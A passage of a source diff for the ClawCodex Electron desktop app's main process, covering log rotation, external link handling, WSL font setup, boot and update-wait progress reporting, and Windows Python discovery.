+// can abort the in-flight install.sh/ps1 instead of leaving it running.
+let bootstrapAbortController = null
+// Explicit "the user asked for a repair" flag. Repair used to signal intent by
+// deleting the bootstrap marker, which stranded healthy installs whose only
+// problem was a transient backend error (#72166). Intent now lives here, so
+// repair can force the installer without destroying provenance about how the
+// install was created. Cleared once the reinstall is under way.
+let bootstrapRepairRequested = false
+// Counter for in-flight repair attempts. Reset on a clean boot completion
+// (see runBootstrap -> ensureRuntime resolve path). Each successive repair
+// in the same failure episode increments this; once it crosses
+// MAX_BOOTSTRAP_REPAIR_SOFT_ATTEMPTS the guard escalates from "soft restart"
+// to "hard reinstall" so a transient backend stall (issue #74874) stops
+// looping the user through a destructive venv reinstall.
+let bootstrapRepairAttempt = 0
+const MAX_BOOTSTRAP_REPAIR_SOFT_ATTEMPTS = 3
+let connectionConfigCache = null
+let connectionConfigCacheMtime = null
+const clawcodexLog = []
+const previewWatchers = new Map()
+let previewShortcutActive = false
+let desktopLogBuffer = ''
+let desktopLogFlushTimer = null
+let desktopLogFlushPromise = Promise.resolve()
+let nativeThemeListenerInstalled = false
+
+let bootProgressState = {
+  error: null,
+  fakeMode: BOOT_FAKE_MODE,
+  message: 'Waiting to start ClawCodex backend',
+  phase: 'idle',
+  progress: 0,
+  running: false,
+  timestamp: Date.now()
+}
+
+// Pure planner: ordered fs ops to bound a live log of `size`. [] = nothing.
+// Each step is ['rm', path] or ['mv', src, dst]; executed best-effort so a
+// missing chain link never aborts the rest.
+function planDesktopLogRotation(size) {
+  if (size < DESKTOP_LOG_MAX_BYTES) {
+    return []
+  }
+
+  const backups = n => Array.from({ length: n }, (_, i) => desktopLogBackupPath(i + 1))
+
+  // Pathological boot-loop log: reclaim live + every backup outright.
+  if (size > DESKTOP_LOG_DISCARD_BYTES) {
+    return [DESKTOP_LOG_PATH, ...backups(DESKTOP_LOG_BACKUP_COUNT)].map(p => ['rm', p])
+  }
+
+  // Cascade: drop oldest, shift each up, live -> .1.
+  const ops = [['rm', desktopLogBackupPath(DESKTOP_LOG_BACKUP_COUNT)]]
+
+  for (let i = DESKTOP_LOG_BACKUP_COUNT - 1; i >= 1; i--) {
+    ops.push(['mv', desktopLogBackupPath(i), desktopLogBackupPath(i + 1)])
+  }
+
+  ops.push(['mv', DESKTOP_LOG_PATH, desktopLogBackupPath(1)])
+
+  return ops
+}
+
+function rotateDesktopLogIfNeededSync() {
+  let size
+
+  try {
+    size = fs.statSync(DESKTOP_LOG_PATH).size
+  } catch {
+    return // No live file yet — the append (re)creates it.
+  }
+
+  for (const [op, src, dst] of planDesktopLogRotation(size)) {
+    try {
+      if (op === 'rm') {
+        fs.rmSync(src, { force: true })
+      } else {
+        fs.renameSync(src, dst)
+      }
+    } catch {
+      // Best-effort — logging must never block startup/shutdown.
+    }
+  }
+}
+
+async function rotateDesktopLogIfNeededAsync() {
+  let size
+
+  try {
+    size = (await fs.promises.stat(DESKTOP_LOG_PATH)).size
+  } catch {
+    return // No live file yet — the append (re)creates it.
+  }
+
+  for (const [op, src, dst] of planDesktopLogRotation(size)) {
+    try {
+      if (op === 'rm') {
+        await fs.promises.rm(src, { force: true })
+      } else {
+        await fs.promises.rename(src, dst)
+      }
+    } catch {
+      // Best-effort — logging must never crash the shell.
+    }
+  }
+}
+
+function flushDesktopLogBufferSync() {
+  if (!desktopLogBuffer) {
+    return
+  }
+
+  const chunk = desktopLogBuffer
+  desktopLogBuffer = ''
+
+  try {
+    fs.mkdirSync(path.dirname(DESKTOP_LOG_PATH), { recursive: true })
+    rotateDesktopLogIfNeededSync()
+    fs.appendFileSync(DESKTOP_LOG_PATH, chunk)
+  } catch {
+    // Logging must never block app startup/shutdown.
+  }
+}
+
+function flushDesktopLogBufferAsync() {
+  if (!desktopLogBuffer) {
+    return desktopLogFlushPromise
+  }
+
+  const chunk = desktopLogBuffer
+  desktopLogBuffer = ''
+
+  desktopLogFlushPromise = desktopLogFlushPromise
+    .then(async () => {
+      await fs.promises.mkdir(path.dirname(DESKTOP_LOG_PATH), { recursive: true })
+      await rotateDesktopLogIfNeededAsync()
+      await fs.promises.appendFile(DESKTOP_LOG_PATH, chunk)
+    })
+    .catch(() => {
+      // Logging must never crash the desktop shell.
+    })
+
+  return desktopLogFlushPromise
+}
+
+function scheduleDesktopLogFlush() {
+  if (desktopLogFlushTimer) {
+    return
+  }
+
+  desktopLogFlushTimer = setTimeout(() => {
+    desktopLogFlushTimer = null
+    void flushDesktopLogBufferAsync()
+  }, DESKTOP_LOG_FLUSH_MS)
+}
+
+function rememberLog(chunk) {
+  const text = String(chunk || '').trim()
+
+  if (!text) {
+    return
+  }
+
+  const lines = text.split(/\r?\n/).map(line => `[clawcodex] ${line}`)
+  clawcodexLog.push(...lines)
+
+  if (clawcodexLog.length > 300) {
+    clawcodexLog.splice(0, clawcodexLog.length - 300)
+  }
+
+  desktopLogBuffer += `${lines.join('\n')}\n`
+
+  if (desktopLogBuffer.length >= DESKTOP_LOG_BUFFER_MAX_CHARS) {
+    if (desktopLogFlushTimer) {
+      clearTimeout(desktopLogFlushTimer)
+      desktopLogFlushTimer = null
+    }
+
+    void flushDesktopLogBufferAsync()
+
+    return
+  }
+
+  scheduleDesktopLogFlush()
+}
+
+installCrashForensics({ flush: flushDesktopLogBufferSync, log: rememberLog })
+
+// A rejected loadURL leaves a blank window and, unhandled, no trace anywhere
+// the user can send us. `label` names the surface so the log says which one.
+function loadWindowUrl(win, url, label) {
+  win.loadURL(url).catch(error => rememberLog(`${label} failed to load: ${describeCrashReason(error)}`))
+}
+
+function openExternalUrl(rawUrl) {
+  const raw = String(rawUrl || '').trim()
+
+  if (!raw) {
+    return false
+  }
+
+  let parsed
+
+  try {
+    parsed = new URL(raw)
+  } catch {
+    return false
+  }
+
+  // `file://` URLs come from the artifacts panel (the renderer can't open
+  // them itself because Chromium blocks file:// navigation from the app
+  // origin). Hand them to `shell.openPath`, which dispatches to the OS
+  // file association. If the OS can't open it (`error` is a non-empty
+  // string), fall back to revealing the file in the system file manager.
+  if (parsed.protocol === 'file:') {
+    let localPath
+
+    try {
+      localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open external file' })
+    } catch {
+      return false
+    }
+
+    void shell
+      .openPath(localPath)
+      .then(error => {
+        if (!error) {
+          return
+        }
+
+        rememberLog(`[file] openPath failed: ${error}; revealing in folder instead`)
+
+        try {
+          shell.showItemInFolder(localPath)
+        } catch (revealError) {
+          rememberLog(`[file] showItemInFolder failed: ${revealError.message}`)
+        }
+      })
+      .catch(error => rememberLog(`[file] openPath rejected: ${error.message}`))
+
+    return true
+  }
+
+  if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) {
+    return false
+  }
+
+  const url = parsed.toString()
+
+  if (IS_WSL) {
+    rememberLog(`[link] opening via WSL→Windows: ${url}`)
+
+    const proc = spawn('cmd.exe', ['/c', 'start', '""', url], {
+      detached: true,
+      stdio: 'ignore',
+      windowsHide: true
+    })
+
+    proc.on('error', error => {
+      rememberLog(`[link] cmd.exe start failed: ${error.message}; falling back to xdg-open`)
+      shell.openExternal(url).catch(fallback => rememberLog(`[link] xdg-open failed: ${fallback.message}`))
+    })
+    proc.unref()
+
+    return true
+  }
+
+  shell.openExternal(url).catch(error => rememberLog(`[link] openExternal failed: ${error.message}`))
+
+  return true
+}
+
+async function openPreviewInBrowser(rawUrl) {
+  const raw = String(rawUrl || '').trim()
+
+  if (!raw) {
+    return false
+  }
+
+  let parsed
+
+  try {
+    parsed = new URL(raw)
+  } catch {
+    return false
+  }
+
+  if (parsed.protocol === 'file:') {
+    let localPath
+
+    try {
+      localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open preview in browser' })
+    } catch {
+      return false
+    }
+
+    await shell.openExternal(pathToFileURL(localPath).toString())
+
+    return true
+  }
+
+  return openExternalUrl(raw)
+}
+
+function ensureWslWindowsFonts() {
+  if (!IS_WSL) {
+    return
+  }
+
+  const fontsDir = ['/mnt/c/Windows/Fonts', '/mnt/c/windows/fonts'].find(candidate => {
+    try {
+      return fs.statSync(candidate).isDirectory()
+    } catch {
+      return false
+    }
+  })
+
+  if (!fontsDir) {
+    return
+  }
+
+  try {
+    const confDir = path.join(app.getPath('home'), '.config', 'fontconfig', 'conf.d')
+    const confPath = path.join(confDir, '99-clawcodex-wsl-windows-fonts.conf')
+    let existing = ''
+
+    try {
+      existing = fs.readFileSync(confPath, 'utf8')
+    } catch {
+      existing = ''
+    }
+
+    if (existing.includes(fontsDir)) {
+      return
+    }
+
+    fs.mkdirSync(confDir, { recursive: true })
+    fs.writeFileSync(
+      confPath,
+      `<?xml version="1.0"?>\n<!DOCTYPE fontconfig SYSTEM "fonts.dtd">\n<fontconfig>\n  <dir>${fontsDir}</dir>\n</fontconfig>\n`
+    )
+    rememberLog(`[fonts] wired WSL Windows fonts for renderer: ${fontsDir}`)
+
+    const cache = spawn('fc-cache', ['-f', fontsDir], { detached: true, stdio: 'ignore' })
+    cache.on('error', () => undefined)
+    cache.unref()
+  } catch (error) {
+    rememberLog(`[fonts] WSL font setup skipped: ${error.message}`)
+  }
+}
+
+function sleep(ms) {
+  return new Promise(resolve => setTimeout(resolve, ms))
+}
+
+function clampBootProgress(value) {
+  const numeric = Number(value)
+
+  if (!Number.isFinite(numeric)) {
+    return 0
+  }
+
+  return Math.max(0, Math.min(100, Math.round(numeric)))
+}
+
+function broadcastBootProgress() {
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:boot-progress', bootProgressState)
+}
+
+// Bootstrap-event broadcast channel + state. The bootstrap runner emits a
+// stream of events (manifest, stage, log, complete, failed) that the renderer
+// install overlay subscribes to. We also keep a running snapshot:
+//   - manifest: the stage list (rendered as a checklist in the overlay)
+//   - stages:   per-stage state ('pending' | 'running' | 'succeeded' |
+//               'skipped' | 'failed') keyed by stage name
+//   - active:   true while a bootstrap is in flight; false otherwise
+//   - error:    last 'failed' event's error message
+//   - log:      bounded ring buffer of the last 200 log lines for the
+//               "Show details" affordance in the overlay
+//
+// The snapshot is queryable via the clawcodex:bootstrap:get IPC handler so a
+// reloaded renderer (e.g. devtools reload during dev) recovers state.
+// Bootstrap log ring: bounded buffer so a long install (npm + playwright
+// downloads can emit thousands of lines) doesn't grow unbounded in memory
+// AND so the renderer's getBootstrapState() reply stays a reasonable size.
+// We keep enough to cover an entire failed stage's transcript so the
+// 'Copy output' button gives the user actually-actionable context, not
+// just the last few lines.
+const BOOTSTRAP_LOG_RING_MAX = 500
+
+let bootstrapState = {
+  active: false,
+  manifest: null,
+  stages: {},
+  error: null,
+  log: [],
+  startedAt: null,
+  completedAt: null,
+  setupChoice: null,
+  unsupportedPlatform: null
+}
+
+let firstRunSetupGate = null
+
+function broadcastBootstrapEvent(ev) {
+  if (ev.type === 'manifest') {
+    bootstrapState.manifest = ev
+    bootstrapState.active = true
+    bootstrapState.setupChoice = null
+    bootstrapState.startedAt = bootstrapState.startedAt || Date.now()
+    bootstrapState.stages = {}
+
+    for (const stage of ev.stages || []) {
+      bootstrapState.stages[stage.name] = { state: 'pending', json: null, durationMs: null, error: null }
+    }
+  } else if (ev.type === 'stage') {
+    bootstrapState.stages[ev.name] = {
+      state: ev.state,
+      durationMs: ev.durationMs ?? null,
+      json: ev.json ?? null,
+      error: ev.error ?? null
+    }
+  } else if (ev.type === 'log') {
+    bootstrapState.log.push({ ts: Date.now(), stage: ev.stage || null, line: ev.line, stream: ev.stream || 'stdout' })
+
+    if (bootstrapState.log.length > BOOTSTRAP_LOG_RING_MAX) {
+      bootstrapState.log.splice(0, bootstrapState.log.length - BOOTSTRAP_LOG_RING_MAX)
+    }
+  } else if (ev.type === 'complete') {
+    bootstrapState.active = false
+    bootstrapState.completedAt = Date.now()
+    bootstrapState.error = null
+    bootstrapState.unsupportedPlatform = null
+  } else if (ev.type === 'failed') {
+    bootstrapState.active = false
+    bootstrapState.error = ev.error || 'unknown error'
+    bootstrapState.setupChoice = null
+  } else if (ev.type === 'unsupported-platform') {
+    bootstrapState.active = false
+    bootstrapState.setupChoice = null
+    bootstrapState.unsupportedPlatform = {
+      platform: ev.platform,
+      activeRoot: ev.activeRoot,
+      installCommand: ev.installCommand,
+      docsUrl: ev.docsUrl
+    }
+  } else if (ev.type === 'setup-choice') {
+    bootstrapState.active = false
+    bootstrapState.error = null
+    bootstrapState.manifest = null
+    bootstrapState.stages = {}
+    bootstrapState.setupChoice = ev.active
+      ? {
+          platform: ev.platform,
+          activeRoot: ev.activeRoot
+        }
+      : null
+    bootstrapState.unsupportedPlatform = null
+  } else if (ev.type === 'dismissed') {
+    resetBootstrapSnapshot()
+  }
+
+  if (!mainWindow || mainWindow.isDestroyed()) {
+    return
+  }
+
+  const { webContents } = mainWindow
+
+  if (!webContents || webContents.isDestroyed()) {
+    return
+  }
+
+  webContents.send('clawcodex:bootstrap:event', ev)
+}
+
+function getBootstrapState() {
+  return bootstrapState
+}
+
+function resetBootstrapSnapshot() {
+  bootstrapState = {
+    active: false,
+    manifest: null,
+    stages: {},
+    error: null,
+    log: [],
+    startedAt: null,
+    completedAt: null,
+    setupChoice: null,
+    unsupportedPlatform: null
+  }
+}
+
+function promptFirstRunSetupChoice(backend) {
+  broadcastBootstrapEvent({
+    type: 'setup-choice',
+    active: true,
+    platform: backend.platform || process.platform,
+    activeRoot: backend.activeRoot || ACTIVE_CLAWCODEX_ROOT
+  })
+}
+
+function hideFirstRunSetupChoice() {
+  if (bootstrapState.setupChoice) {
+    broadcastBootstrapEvent({ type: 'setup-choice', active: false })
+  }
+}
+
+function getFirstRunSetupGate() {
+  if (!firstRunSetupGate) {
+    firstRunSetupGate = createFirstRunSetupGate({
+      hideChoice: hideFirstRunSetupChoice,
+      log: rememberLog,
+      onStuck: (_backend, stuckAfterMs) => {
+        updateBootProgress(
+          {
+            error: null,
+            message: `Still waiting for first-run setup choice after ${Math.round(stuckAfterMs / 1000)} seconds`,
+            phase: 'bootstrap.choice',
+            progress: 12,
+            running: true
+          },
+          { allowDecrease: true }
+        )
+      },
+      promptChoice: promptFirstRunSetupChoice
+    })
+  }
+
+  return firstRunSetupGate
+}
+
+async function waitForFirstRunSetupChoice(backend) {
+  const gate = getFirstRunSetupGate()
+
+  if (!gate.shouldGate(backend)) {
+    return 'continue-local'
+  }
+
+  updateBootProgress(
+    {
+      error: null,
+      message: 'Waiting for first-run setup choice',
+      phase: 'bootstrap.choice',
+      progress: 12,
+      running: true
+    },
+    { allowDecrease: true }
+  )
+
+  return gate.wait(backend)
+}
+
+function continueFirstRunLocalBootstrap() {
+  getFirstRunSetupGate().continueLocal()
+}
+
+function abandonFirstRunSetupChoiceForRemoteApply() {
+  const gate = getFirstRunSetupGate()
+
+  if (!gate.hasWaiter()) {
+    return false
+  }
+
+  const resumedGatedConnection = gate.abandonForRemoteApply()
+
+  if (resumedGatedConnection) {
+    broadcastBootstrapEvent({ type: 'dismissed' })
+  }
+
+  return resumedGatedConnection
+}
+
+function updateBootProgress(update, options: { allowDecrease?: boolean } = {}) {
+  const nextProgressRaw =
+    typeof update.progress === 'number' ? clampBootProgress(update.progress) : bootProgressState.progress
+
+  const nextProgress = options.allowDecrease ? nextProgressRaw : Math.max(bootProgressState.progress, nextProgressRaw)
+
+  bootProgressState = {
+    ...bootProgressState,
+    ...update,
+    error: update.error === undefined ? bootProgressState.error : update.error,
+    fakeMode: BOOT_FAKE_MODE || Boolean(update.fakeMode),
+    progress: nextProgress,
+    timestamp: Date.now()
+  }
+
+  if (update.message) {
+    rememberLog(`[boot] ${update.message}`)
+  }
+
+  broadcastBootProgress()
+}
+
+async function advanceBootProgress(phase, message, progress) {
+  updateBootProgress({
+    phase,
+    message,
+    progress,
+    running: true,
+    error: null
+  })
+
+  if (BOOT_FAKE_MODE) {
+    await sleep(BOOT_FAKE_STEP_MS)
+  }
+}
+
+function fileExists(filePath) {
+  try {
+    return fs.statSync(filePath).isFile()
+  } catch {
+    return false
+  }
+}
+
+function directoryExists(filePath) {
+  try {
+    return fs.statSync(filePath).isDirectory()
+  } catch {
+    return false
+  }
+}
+
+// --- in-app update mutual exclusion (#50238) -------------------------------
+// The Tauri updater writes CLAWCODEX_CONFIG_DIR/.clawcodex-update-in-progress for the whole
+// duration of an `--update` run (see update.rs UpdateMarkerGuard). If the user
+// relaunches the desktop mid-update — because the window vanished with no
+// progress and looks crashed — a fresh instance must NOT spawn its own local
+// backend: that backend re-locks the venv shim, the updater's straggler cleanup
+// (`force_kill_other_clawcodex`, taskkill /IM clawcodex.exe) kills it, the launch
+// fails with the 45s "backend didn't come up" error, and the relaunch/kill
+// cycle loops. Instead the fresh instance parks until the update finishes, then
+// brings the backend up itself (it is the surviving instance — the updater's
+// own relaunch hits our single-instance lock and quits). Marker parsing +
+// staleness self-heal live in update-marker.ts (unit-tested).
+
+// How long we'll park the launch waiting for a live update to finish before
+// giving up and starting the backend anyway (belt-and-suspenders alongside the
+// marker's own age ceiling; covers a stuck-but-alive updater).
+const UPDATE_WAIT_TIMEOUT_MS = 20 * 60 * 1000
+const UPDATE_WAIT_POLL_MS = 1000
+// How long the desktop lingers on the "updating, don't reopen" overlay after
+// spawning the detached updater, before it quits to release the venv shim. The
+// old 600ms was long enough to register the child process but far too short for
+// the user to READ the overlay — the window just vanished, looked like a crash,
+// and the user relaunched mid-update (the #50238 restart-loop trigger). A
+// couple of seconds lets the message land and bridges the gap until the
+// updater's own progress window appears. (#50419)
+const UPDATE_HANDOFF_DWELL_MS = 2500
+
+// Gate deps shared by the primary-window boot path and the pool-backend
+// spawn path. Consulting BOTH the on-disk marker and the in-process
+// updateInFlight flag is load-bearing (#73822): applyUpdates kills its own
+// backend BEFORE the Windows venv-blocker scan but only writes the marker
+// AFTER it, so a marker-only gate lets the renderer's ~1s reconnect respawn
+// a backend inside the update's own critical section — which the scan then
+// reports as a blocker, aborting every update attempt.
+function updateGateDeps() {
+  return {
+    hasLiveMarker: () => Boolean(readLiveUpdateMarker(CLAWCODEX_CONFIG_DIR)),
+    isUpdateInFlight: () => updateInFlight
+  }
+}
+
+// Block until no live update is in progress (or we hit the wait timeout).
+// Emits a boot-progress phase so the renderer shows "Update in progress…"
+// rather than a frozen splash. Returns true if it parked at all.
+async function waitForUpdateToFinish() {
+  let announced = false
+
+  const outcome = await waitForUpdateClearance(updateGateDeps(), {
+    onWaitTick: async reason => {
+      if (!announced) {
+        announced = true
+        rememberLog(`[updates] update in progress (${reason}); deferring backend start until it finishes`)
+      }
+
+      await advanceBootProgress(
+        'backend.update-wait',
+        'An update is finishing — ClawCodex will start automatically when it completes…',
+        12
+      )
+    },
+    pollMs: UPDATE_WAIT_POLL_MS,
+    timeoutMs: UPDATE_WAIT_TIMEOUT_MS
+  })
+
+  if (outcome === 'clear') {
+    return false
+  }
+
+  if (outcome === 'timeout') {
+    rememberLog('[updates] update still in progress after wait timeout; starting backend anyway')
+  } else {
+    rememberLog('[updates] update finished; proceeding with backend start')
+  }
+
+  return true
+}
+
+function unpackedPathFor(filePath) {
+  return filePath.replace(/app\.asar(?=$|[\\/])/, 'app.asar.unpacked')
+}
+
+function findOnPath(command) {
+  if (!command) {
+    return null
+  }
+
+  if (path.isAbsolute(command) || command.includes(path.sep) || (IS_WINDOWS && command.includes('/'))) {
+    if (!fileExists(command)) {
+      return null
+    }
+
+    if (isWindowsBinaryPathInWsl(command, { isWsl: IS_WSL })) {
+      return null
+    }
+
+    return command
+  }
+
+  const pathEntries = String(process.env.PATH || '')
+    .split(path.delimiter)
+    .filter(Boolean)
+
+  // On Windows, try PATHEXT extensions BEFORE the bare (empty-extension) name.
+  // A real command must resolve via its .exe/.cmd (Windows command-resolution
+  // semantics consult PATHEXT); an extensionless file — e.g. a Git-Bash
+  // shell-script shim named `clawcodex` — must not shadow `clawcodex.cmd`/`clawcodex.exe`.
+  // The empty entry is kept LAST so callers that already include the extension
+  // (py.exe, pwsh.exe, powershell.exe) still resolve.
+  const extensions = buildPathExtCandidates(process.env.PATHEXT, IS_WINDOWS)
+
+  for (const entry of pathEntries) {
+    for (const extension of extensions) {
+      const candidate = path.join(entry, `${command}${extension}`)
+
+      if (fileExists(candidate)) {
+        return candidate
+      }
+    }
+  }
+
+  return null
+}
+
+function isCommandScript(command) {
+  return IS_WINDOWS && /\.(cmd|bat)$/i.test(command || '')
+}
+
+function unwrapWindowsVenvClawCodexCommand(command, backendArgs) {
+  return resolveVenvClawCodexCommand(command, backendArgs, {
+    isWindows: IS_WINDOWS,
+    isCommandScript,
+    fileExists,
+    directoryExists,
+    canImportClawCodexCli,
+    getVenvPython,
+    getVenvSitePackagesEntries,
+    buildDesktopBackendEnv,
+    clawcodexHome: CLAWCODEX_CONFIG_DIR,
+    resolvePath: (...segments) => path.resolve(...segments),
+    dirname: p => path.dirname(p),
+    basename: p => path.basename(p),
+    rememberLog
+  })
+}
+
+// Does the resolved runtime understand the `serve` subcommand? The desktop
+// spawns `clawcodex serve`; runtimes older than serve only have `dashboard`. We
+// detect support so getBackendArgsForRuntime() can route old runtimes through
+// the legacy `dashboard --no-open` form instead of crashing on an unknown
+// subcommand (would brick every user mid-upgrade — #54568 follow-up).
+//
+// Fast path: read the runtime's own dashboard.py (instant, covers managed
+// installs, dev checkouts, and the Windows venv). Fallback: probe the CLI once
+// (covers a bare `clawcodex` resolved from PATH with no known source root). Result
+// is cached per resolved runtime so we probe at most once per backend.
+const _serveSupportCache = new Map()
+
+function backendSupportsServe(backend) {
+  if (!backend || !backend.command) {
+    return true
+  }
+
+  const key = `${backend.command}::${backend.root || ''}`
+
+  if (_serveSupportCache.has(key)) {
+    return _serveSupportCache.get(key)
+  }
+
+  let supported = null
+
+  if (backend.root) {
+    try {
+      const src = fs.readFileSync(path.join(backend.root, 'clawcodex_cli', 'subcommands', 'dashboard.py'), 'utf8')
+      supported = sourceDeclaresServe(src)
+    } catch {
+      supported = null // source unreadable — fall through to the probe
+    }
+  }
+
+  if (supported === null) {
+    try {
+      const prefix = backend.args && backend.args[0] === '-m' ? backend.args.slice(0, 2) : []
+      // Same cold-Windows Python-startup class as the runtime probes
+      // (#61764/#72632/#72707): `serve --help` imports at least as much as
+      // `clawcodex --version` (~10.5s measured cold), and a false negative here
+      // is cached for the process lifetime, silently routing a modern
+      // runtime through the legacy `dashboard` form. Share the probe budget
+      // and its timeout-only retry instead of a thinner local bound.
+      execProbeSync(backend.command, [...prefix, 'serve', '--help'], {
+        cwd: backend.root || undefined,
+        env: { ...process.env, CLAWCODEX_CONFIG_DIR, ...(backend.env || {}) },
+        timeout: PROBE_TIMEOUT_MS,
+        stdio: 'ignore',
+        // `.cmd`/`.bat` shim backends carry shell: true in their descriptor
+        // (see resolveClawCodexBackend step 4); execFileSync of a .cmd without
+        // shell throws EINVAL on modern Node, which the catch below would
+        // mis-cache as "serve unsupported" for the process lifetime.
+        shell: Boolean(backend.shell),
+        windowsHide: true
+      })
+      supported = true
+    } catch {
+      supported = false
+    }
+  }
+
+  _serveSupportCache.set(key, supported)
+  rememberLog(
+    `[backend] \`serve\` ${supported ? 'supported' : 'unsupported → routing via legacy `dashboard`'} for ${backend.label || key}`
+  )
+
+  return supported
+}
+
+// Given a resolved backend whose args target `serve`, return the args the
+// runtime actually understands: unchanged when `serve` is supported, or
+// rewritten to `dashboard --no-open` for older runtimes.
+function getBackendArgsForRuntime(backend) {
+  return backendSupportsServe(backend) ? backend.args : dashboardFallbackArgs(backend.args)
+}
+
+function normalizeExecutablePathForCompare(commandPath) {
+  if (!commandPath) {
+    return null
+  }
+
+  let resolved = path.resolve(String(commandPath))
+
+  try {
+    resolved = fs.realpathSync.native ? fs.realpathSync.native(resolved) : fs.realpathSync(resolved)
+  } catch {
+    // Fallback to path.resolve() above.
+  }
+
+  return IS_WINDOWS ? resolved.toLowerCase() : resolved
+}
+
+function looksLikeDesktopAppBinary(commandPath) {
+  if (!IS_WINDOWS || !commandPath) {
+    return false
+  }
+
+  const normalizedCandidate = normalizeExecutablePathForCompare(commandPath)
+  const normalizedCurrentExec = normalizeExecutablePathForCompare(process.execPath)
+
+  if (normalizedCandidate && normalizedCurrentExec && normalizedCandidate === normalizedCurrentExec) {
+    return true
+  }
+
+  let resolved = path.resolve(String(commandPath))
+
+  try {
+    resolved = fs.realpathSync.native ? fs.realpathSync.native(resolved) : fs.realpathSync(resolved)
+  } catch {
+    // Keep resolved path fallback.
+  }
+
+  const resourcesDir = path.join(path.dirname(resolved), 'resources')
+
+  return (
+    fileExists(path.join(resourcesDir, 'app.asar')) || directoryExists(path.join(resourcesDir, 'app.asar.unpacked'))
+  )
+}
+
+function isClawCodexSourceRoot(root) {
+  return directoryExists(root) && fileExists(path.join(root, 'clawcodex_cli', 'main.py'))
+}
+
+function findPythonForRoot(root) {
+  const override = process.env.CLAWCODEX_DESKTOP_PYTHON
+
+  if (override && fileExists(override)) {
+    return override
+  }
+
+  const relativePaths = IS_WINDOWS
+    ? [path.join('.venv', 'Scripts', 'python.exe'), path.join('venv', 'Scripts', 'python.exe')]
+    : [path.join('.venv', 'bin', 'python'), path.join('venv', 'bin', 'python')]
+
+  for (const relativePath of relativePaths) {
+    const candidate = path.join(root, relativePath)
+
+    if (fileExists(candidate)) {
+      return candidate
+    }
+  }
+
+  return findSystemPython()
+}
+
+function findSystemPython() {
+  if (!IS_WINDOWS) {
+    // POSIX systems: PATH lookup is safe.
+    for (const command of ['python3', 'python']) {
+      const candidate = findOnPath(command)
+
+      if (candidate) {
+        return candidate
+      }
+    }
+
+    return null
+  }
+
+  // Windows: PATH-based detection has TWO landmines we have to dodge.
+  //
+  //  (1) The Microsoft Store "Python stub" lives at
+  //      %LOCALAPPDATA%\Microsoft\WindowsApps\python.exe and is on PATH
+  //      by default on modern Windows. It's a redirector that opens the
+  //      Store window if no Store Python is installed. Running it for
+  //      `-m venv` would either succeed (real Store install — fine) or
+  //      pop the Store dialog (bad UX during boot).
+  //  (2) `py.exe` (Python launcher) is missing from per-user installs
+  //      that didn't check the launcher option, so PATH-only checks
+  //      miss real Python 3.13 installs (user-reported case).
+  //
+  // We also restrict ourselves to Python 3.11–3.13. 3.14 is the latest
+  // CPython but several ClawCodex deps (notably pywinpty's Rust-built
+  // windows_x86_64_msvc crate) don't yet publish 3.14 wheels, and
+  // `pip install -e .` falls back to source-build, which fails without
+  // a Rust toolchain. install.ps1 sidesteps this by pinning to 3.11
+  // via uv; until we add the same uv-managed Python pathway here, the
+  // simplest fix is to refuse 3.14 detection and let the NSIS prereq
+  // page offer to install 3.11 alongside.
+  //
+  // Strategy: probe in three passes, in order from most-precise to
+  // least-precise, and ONLY use PATH lookup as a last resort after
+  // confirming the candidate isn't the WindowsApps redirector.
+  //
+  //  Pass 1: PEP 514 registry — every standards-compliant Python
+  //          installer registers itself at SOFTWARE\Python\PythonCore.
+  //          The MS Store stub does NOT register here, so a hit means
+  //          a real Python install. Versions are explicit so we
+  //          inherently filter 3.14 out.
+  //  Pass 2: Filesystem probe of standard install locations
+  //          (Program Files, LocalAppData\Programs\Python). Same
+  //          version filtering by directory name.
+  //  Pass 3: PATH lookup of `py.exe` (the launcher itself never
+  //          triggers the Store) — but call it with a version flag so
+  //          we resolve to a SPECIFIC supported version, not whatever
+  //          py.exe's default is (which on a 3.14-only box would be
+  //          3.14).
+
+  const SUPPORTED_VERSIONS = ['3.11', '3.12', '3.13']
+  const SUPPORTED_VERSIONS_NO_DOT = ['311', '312', '313']
+
+  // Pass 1: registry. Use `reg query` since main process doesn't have
+  // a reliable in-process registry API across all electron versions.
+  for (const hive of ['HKLM', 'HKCU']) {
+    for (const version of SUPPORTED_VERSIONS) {
+      try {
+        const out = execFileSync(
+          'reg',
+          ['query', `${hive}\\SOFTWARE\\Python\\PythonCore\\${version}\\InstallPath`, '/ve', '/reg:64'],
+          // Registry reads are near-instant; the bound only exists so a
+          // pathologically wedged reg.exe can't hang the synchronous boot
+          // resolver forever (this ran unbounded before).
+          hiddenWindowsChildOptions({ encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'], timeout: 5_000 })
+        )
+
+        // Output format: "    (Default)    REG_SZ    C:\Path\To\Python\"
+        const match = out.match(/REG_SZ\s+(.+?)\s*$/m)
+
+        if (match) {
+          const installPath = match[1].trim()
+          const pythonExe = path.join(installPath, 'python.exe')
+
+          if (fileExists(pythonExe)) {
+            return pythonExe
+          }
+        }
+      } catch {
+        // Key not present — try next.
+      }
+    }
+  }
+
+  // Pass 2: filesystem probe of standard locations.
+  const programFiles = process.env['ProgramFiles'] || 'C:\\Program Files'
+  const localAppData = process.env.LOCALAPPDATA || ''
+
+  for (const versionDir of SUPPORTED_VERSIONS_NO_DOT) {
+    const systemWide = path.join(programFiles, `Python${versionDir}`, 'python.exe')
+
+    if (fileExists(systemWide)) {
+      return systemWide
+    }
+
+    if (localAppData) {
+      const perUser = path.join(localAppData, 'Programs', 'Python', `Python${versionDir}`, 'python.exe')
+
+      if (fileExists(perUser)) {
+        return perUser
+      }
+    }
+  }
+
+  // Pass 3: py.exe with explicit version flag. The launcher itself is
+  // safe to invoke (no Store popup) and `py -3.13 -c "import sys;
+  // print(sys.executable)"` resolves to the actual python.exe path of
+  // the requested version. We try in version-priority order so the
+  // first hit wins.
+  const pyExe = findOnPath('py.exe')
+
+  if (pyExe) {
+    for (const version of SUPPORTED_VERSIONS) {
+      try {
+        const out = execFileSync(
+          pyExe,
+          [`-${version}`, '-c', 'import sys; print(sys.executable)'],
+          hiddenWindowsChildOptions({
+            encoding: 'utf8',
+            stdio: ['ignore', 'pipe', 'ignore'],
